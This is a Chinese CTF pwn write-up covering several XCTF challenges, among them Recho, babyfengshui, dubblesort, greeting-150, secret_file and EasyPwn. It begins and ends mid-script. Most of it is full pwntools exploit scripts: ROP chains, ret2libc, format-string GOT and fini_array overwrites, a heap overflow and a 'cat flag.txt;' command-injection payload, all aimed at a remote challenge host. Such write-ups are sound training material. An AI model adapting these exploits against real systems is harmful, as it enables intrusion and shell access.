os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def pass_canary (k) : for i in range(35 +k): sla("Your choice:" , '1' ) sa("input 2 integer: " , '0\n0\n' ) sla("Save the result? " , "yes" ) sla("Your choice:" , "5" ) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) pop_rdi = 0x0000000000401123 main = 0x0000000000401036 printf_plt = elf.plt['printf' ] puts_plt = elf.plt['puts' ] __libc_start_main_got = elf.got['__libc_start_main' ] lg("printf_plt" , printf_plt) lg("puts_plt" , puts_plt) lg("__libc_start_main" , __libc_start_main_got) payload = flat([ "\x00" *0x118 , pop_rdi, elf.got['__libc_start_main' ], elf.plt['printf' ], main, ]) sla("Input your name pls: " , payload) ga() pass_canary(0 ) __libc_start_main_addr = uu64(r(6 )) lg("__libc_start_main" , __libc_start_main_addr) libc.address = __libc_start_main_addr - libc.symbols['__libc_start_main' ] lg("libc" , libc.address) payload = flat([ '\x00' *0x118 , pop_rdi, libc.search('/bin/sh' ).next(), libc.symbols['system' ], 0x0 ]) sla("Input your name pls: " , payload) pass_canary(0 ) ia() if __name__ == '__main__' : exp(host,)
Recho 这RCTF的题目好像都不是考常规的栈溢出,都是杂了好多其他知识在里面的。。。这道我不知道怎么退出循环,只能找wp了,现在了解了,io.shutdown(“send”),可以关闭流
还有第二点,如何想到用orw来读取flag,因为程序里给了flag路径
所以要构造syscall,这里还有一点挺骚的,就是如何找syscall
看了wp后,发觉通过偏移,alarm的函数偏移,通过修改got表,让其指向alarm+5处就有syscall了,太骚了
还有一个点要说吗,文件描述符,也就是read(3, bss, 0x30) 为什么是3
因为0 标准输入,1标准输出,2标准错误,这三个默认都会打开,所以open返回值是从3开始,到时候总结下文件描述符的问题
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 from pwn import *local = 0 host = '111.198.29.45' port = 36407 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './Recho' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) ''' 0x00000000004006fc : pop rax ; ret 0x00000000004008a3 : pop rdi ; ret 0x00000000004006fe : pop rdx ; ret 0x00000000004008a1 : pop rsi ; pop r15 ; ret 0x000000000040070d : add byte ptr [rdi], al ; ret ''' pop_rax_ret = 0x00000000004006fc pop_rdi_ret = 0x00000000004008a3 pop_rdx_ret = 0x00000000004006fe pop_rsi_r15_ret = 0x00000000004008a1 add_rdi_al_ret = 0x000000000040070d flag = 0x601058 alarm_got = elf.got['alarm' ] read_plt = elf.plt['read' ] write_plt = elf.plt['write' ] alarm_plt = elf.plt['alarm' ] bss = 0x601090 payload = 'a' *0x38 payload += flat([ pop_rax_ret, 0x5 , pop_rdi_ret, alarm_got, add_rdi_al_ret, ]) payload += flat([ pop_rax_ret, 0x2 , pop_rdi_ret, flag, pop_rdx_ret, 0x0 , pop_rsi_r15_ret, 0x0 , 0x0 , alarm_plt, ]) payload += flat([ pop_rdi_ret, 0x3 , pop_rsi_r15_ret, bss, 0x0 , pop_rdx_ret, 0x30 , read_plt ]) payload += flat([ pop_rdi_ret, 0x1 , pop_rsi_r15_ret, bss, 0x0 , pop_rdx_ret, 0x30 , write_plt ]) sla("Welcome to Recho server!\n" , 0x200 ) sl(payload) r() io.shutdown("send" ) ia() if __name__ == '__main__' : exp(host,)
反应釜开关控制 system都给了。。。还搞毛,pie也没关,还五星难度,真的看不懂,将所有地址都覆盖成system处位置,直接shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *local = 0 host = '111.198.29.45' port = 41985 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './028e7b4fcd294884b7de00f2526d3911' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) payload = p64(0x4005F6 )*200 sl(payload) ia() if __name__ == '__main__' : exp(host,)
实时数据监测 这个太难了吧,除了格式化字符串有别的?
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *local = 0 host = '111.198.29.45' port = 51936 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './76da801f91de4d7b8b2d9b34387a1ec9' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) addr=0x0804A048 payload="%546c%18$hn%12544c%19$hn" +p32(addr+2 )+p32(addr) sl(payload) ia() if __name__ == '__main__' : exp(host,)
babyfengshui 说来惭愧,又是逆向不行,题目很简单,就是那个堆分配顺序的问题,他先分配一个内容堆块,再是结构的堆块 假设
内容 结构 内容 结构 内容 结构 0x80 0x80 0x80 0x80 0x10 0x10
我们delete(0) 然后在malloc一个0x80+0x80大小的堆块,就可以将结构放到后面了,我们可以通过这个溢出覆盖结构指针,然后控制,我这题libc又下了半个世纪
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 from pwn import *local = 0 host = '111.198.29.45' port = 33786 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = '/tmp/tmp.JDznvG24vn/babyfengshui' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = ELF('./libc6-i386_2.23-0ubuntu11_amd64.so' ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def c (idx) : sla(": " , idx) def new (size, length, text) : c(0 ) sla("size of description: " , size) sla("name: " , "AAAA" ) sla("text length: " , length) sla("text: " , text) def show (idx) : c(2 ) sla("index: " , idx) def edit (idx, length, text) : c(3 ) sla("index: " , idx) sla("text length: " , length) sla("text: " , text) def delete (idx) : c(1 ) sla("index: " , idx) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) new(0x80 , 0x80 , "AAAA" ) new(0x80 , 0x80 , "AAAA" ) new(0x8 , 0x8 , '/bin/sh\x00' ) delete(0 ) payload = flat([ 'a' *0x108 , 0 , 0x89 , 'b' *0x80 , 0 , 0x89 , elf.got['free' ], ]) new(0x100 , 0x19d , payload) ga() show(1 ) ru("description: " ) free_addr = u32(r(4 )) lg("free" , free_addr) from LibcSearcher import * obj = LibcSearcher("free" , free_addr) libc_base = free_addr - obj.dump('free' ) sys_addr = libc_base + obj.dump('system' ) edit(1 , 0x4 , p32(sys_addr)) delete(2 ) ia() if __name__ == '__main__' : exp(host,)
dubblesort 这道题国赛就见过类似的了,再出来发觉还是不会做,不会做的原因居然网上没有一个解释的。只好自己去调试,查资料,发觉了些有趣的玩意
漏洞利用 leak地址,这个明眼人一看就知道,因为不可能不泄露的,scanf后立即printf的,本来以为还能泄露canary的,想下canary最后一个字节是\x00无法泄露
..问题是远程泄露出来的地址不知道是什么东西,照着另一篇wp 做了下,发觉有个地址是got地址?问题我这里没显示,照着这方法做确实可以, readelf -s filename | grep got.plt
减去这个偏移就是libc地址,拿到后就可以为所欲为了
scanf 可以通过+,-绕过,这个不说了,我们通过这个可以绕过canary,然后记住canary后的数字都要比canary大,不然他会交换顺序,这样就会错,设计题目的时候,佩服这些师傅们,计算好了,system函数以及bin_sh都是0xf7开头的,然后bin_sh又比system函数大,所以不会进行排序,太骚了,这些其实都不是重点,对我来说,因为这些我已经大概估摸得到,有一点我估摸不到的就是这个偏移,究竟哪里存放的才是返回地址,待我细细说来
看这里的偏移,数组位于ebp-0x70处,也就是说,我应该从这里写到canary是0x60,而一个int占4个字节,也就是0x60/4=24, canary出于25号位置,接下来,3个padding,在接下来就是ebp,占一个索引,合起来就是24+1+3+1=29,可到这里我发觉不对,对不上,我给了个错误的地址,程序没崩溃?意思我还没动到返回地址,这是为什么呢?上汇编代码
看这里,本来通常是
这种类型或者
1 2 push ebp and esp,0x0ffffff0
这种,这里有没有发觉多了3个push,而ida也没有正常解析,他直接当成了原来的情况,所以计算出来的就是ebp-0x10为canary了,而现在我们需要加上这三个偏移才能达到那个目的,所以现在变成24+1+3+1+3=32个索引,第33个便是可以填充system的
扩展 然后我去调试的过程中发觉返回地址前面是0,也就是ebp=0,这里有些小问题,也就是ebp为什么是0,寄存器的初始值是如何来的,继续跟,一直跟,跟到了结果 (程序是如何启动的)[https://luomuxiaoxiao.com/?p=516]
这篇文章我前段日子还发过,又忘了,经典的过程还是得多温习下
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import *local = 1 host = '111.198.29.45' port = 30833 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = '/tmp/tmp.HOwD1E81J4/dubblesort' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def write_data (data) : sla("number : " , data) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) ga("b __printf_chk\nc" ) offset = 0x18 sa("What your name :" , "a" *offset+'\n' ) ru("a" *offset) addr = u32(r(4 ))&0xfffffff0 libc.address = addr -0x001b0000 sla("How many numbers do you what to sort :" ,35 ) for i in xrange(24 ): write_data(0 ) write_data("+" ) for _ in xrange(4 ): write_data(0xf0000000 ) for _ in xrange(3 ): write_data(0xf0000000 ) write_data(libc.symbols['system' ]) write_data(libc.symbols['system' ]+1 ) write_data(libc.search("/bin/sh" ).next()) ia() if __name__ == '__main__' : exp(host,)
greeting-150 以为很简单的格式化字符串,还是有一些想不起的点,fini这个点,学习学习,其余没什么骚操作了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import *local = 0 host = '111.198.29.45' port = 32235 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './greeting' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) fini_array = 0x08049934 strlen_got = 0x08049a54 main_addr = 0x080485ED system_addr = 0x08048490 payload = "aa" payload += flat([ fini_array+2 , strlen_got+2 , fini_array, strlen_got, ]) payload += "%{}c" .format(2052 -18 -16 -2 ) payload += "%12$hn" payload += "%13$hn" payload += "%{}c" .format(0x8490 -2052 ) payload += "%15$hn" payload += "%{}c" .format(0x85ed -0x8490 ) payload += "%14$hhn" sla("Please tell me your name... " , payload) sl("/bin/sh" ) ia() if __name__ == '__main__' : exp(host,)
secret_file 这题挺有趣的,绕过后执行命令,我本来没有libcrypto.so.1.0.0这个库的,然后通过从
1 sudo find / -name libcrypto.so.1.0.0
从docker里找到了一份,然后cp了过来,然后patchelf下就好了
1 patchelf --set -rpath ~/Downloads/ctf/xctf/secret_file secret_file
从代码里能看出,strcmp通过后,能执行命令,调试下发觉是个常数,然后照着调试下偏移,最后用个分号执行命令就好了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *local = 0 host = '111.198.29.45' port = 32542 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './secret_file' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) string = '02d7160d77e18c6447be80c2e355c7ed4388545271702c50253b0914c65ce5fe' ga("b strcmp\nc" ) payload = flat([ "a" *(283 -27 ), "cat flag.txt;" , ]) payload = payload.ljust(283 , 'a' ) payload += string sl(payload) ia() if __name__ == '__main__' : exp(host,)
EasyPwn 坑点,不要在libc2.29上调试,新增了保护应该是,free_hook写的时候出错,还有就是,这道题没啥意思。。麻烦一点的格式化字符串而已,没学到什么
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from pwn import *local = 0 host = '111.198.29.45' port = 55539 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = '/tmp/tmp.FOmlyIFWCL/pwn1' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) sla("Input Your Code:\n" , "1" ) payload = "a" *0x3e8 + 'aa%398$p' sla("Welcome To WHCTF2017:\n" , payload) ru("%398$p\n" ) addr = int(rl(), 16 ) lg("addr" , addr) from LibcSearcher import * obj = LibcSearcher("__libc_start_main_ret" , addr) libc_base = addr - obj.dump("__libc_start_main_ret" ) sys_addr = libc_base + obj.dump("system" ) free_hook = libc_base + obj.dump("__free_hook" ) p_system = p64(sys_addr) for i in xrange(8 ): sla("Code:\n" , "1" ) payload = "a" *0x3e8 payload += "aa%{}c%{}$hhn" .format(0x100 -0xfe +ord(p_system[i]), 134 ).ljust(0x10 ,'a' ) payload += p64(free_hook+i) print(payload) sla("Welcome To WHCTF2017:\n" , payload) ga() sl("2" ) sl("/bin/sh\x00" ) ia() if __name__ == '__main__' : exp(host,)
1000levels 没环境,懒得搞了,必须得老版本环境调试,以前做过类似的,不做这种题了 直接google exp
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.log_level = 'debug' p = remote('111.198.29.45' , 59009 ) libc = ELF('./libc.so' ) one_gadget = 0x4526a system_offset = libc.symbols['system' ] vsyscall_addr = 0xffffffffff600000 p.sendlineafter('Choice:' ,'2' ) p.sendlineafter('Choice:' ,'1' ) p.sendlineafter('levels?' ,'-1' ) p.sendlineafter('' ,str(one_gadget-system_offset)) for i in range(99 ): p.recvuntil("Question: " ) v9 = int(p.recvuntil(" " )[:-1 ]) p.recvuntil("* " ) v10 = int(p.recvuntil(" " )[:-1 ]) p.sendlineafter("Answer:" , str(v9 * v10)) payload = 'A' * (0x30 +8 )+p64(vsyscall_addr) *3 p.sendafter("Answer:" ,payload) p.interactive()
我看到了溢出,溢出到ebp,没想到栈迁移走,基础不扎实啊。。。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *local = 0 host = '111.198.29.45' port = 38101 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './format2' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget --raw " + filename).readlines()[0 ].split(' ' )) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) back_door = 0x08049284 input = 0x0811EB40 payload = p32(back_door) payload = payload.ljust(0x8 , 'a' ) payload += p32(input-4 ) import base64 payload = base64.b64encode(payload) sla("Authenticate : " , payload) ia() if __name__ == '__main__' : exp(host,)
HMI流水灯运行 这道弱智工控题目不说了。。。recv都得recv半年,毫无技术含量的rop
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from pwn import *local = 0 host = '111.198.29.45' port = 55006 context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=120x54--10+0' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './format' try : context.binary = exe elf = ELF(exe) except Exception as e: print("Elf can't be load" ) libc = elf.libc if context.binary else ELF("./libc.so.6" ) if local: io = process(exe) else : io = remote(host,port, timeout=10 ) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) ga('b *{}' .format(hex(text_base+addr))) else : ga("b *{}" .format(hex(addr))) def get_one_gadget (filename) : return map(int, os.popen("one_gadget 